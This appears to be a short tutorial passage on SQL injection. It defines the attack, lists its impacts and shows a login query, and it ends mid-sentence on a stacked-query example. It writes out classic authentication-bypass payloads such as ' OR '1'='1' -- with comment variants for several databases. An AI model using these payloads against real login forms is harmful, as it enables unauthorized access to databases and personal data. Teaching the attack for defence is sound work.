1> SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements (also commonly referred to as a malicious payload) that control a web application’s database server (also commonly referred to as a Relational Database Management System – RDBMS). (http://www.acunetix.com/websitesecurity/sql-injection/)
  • An SQL Injection can destroy your database.
  • SQL injection can provide an attacker with unauthorized access to sensitive data including, customer data, personally identifiable information (PII), trade secrets, intellectual property and other sensitive information.
  • SQL Injection Based on 1=1 is Always True
2>SQL injection example

2.1 SQL query=

SELECT id FROM users WHERE username=’username’ AND password=’password

An attacker can also comment out the rest of the SQL statement to control the execution of the SQL query further.
-- MySQL, MSSQL, Oracle, PostgreSQL, SQLite
' OR '1'='1' --
' OR '1'='1' /*
-- MySQL
' OR '1'='1' #
-- Access (using null characters)
' OR '1'='1' 
' OR '1'='1' %16
OR 1=1
By using single quote ('), for example username = ' OR '1'='1' --
Above query will be:

SELECT id FROM users WHERE username='' OR '1'='1' --AND password=’password

2.2 With sql query = SELECT * FROM category,
the attacker can change it something like this by adding (;)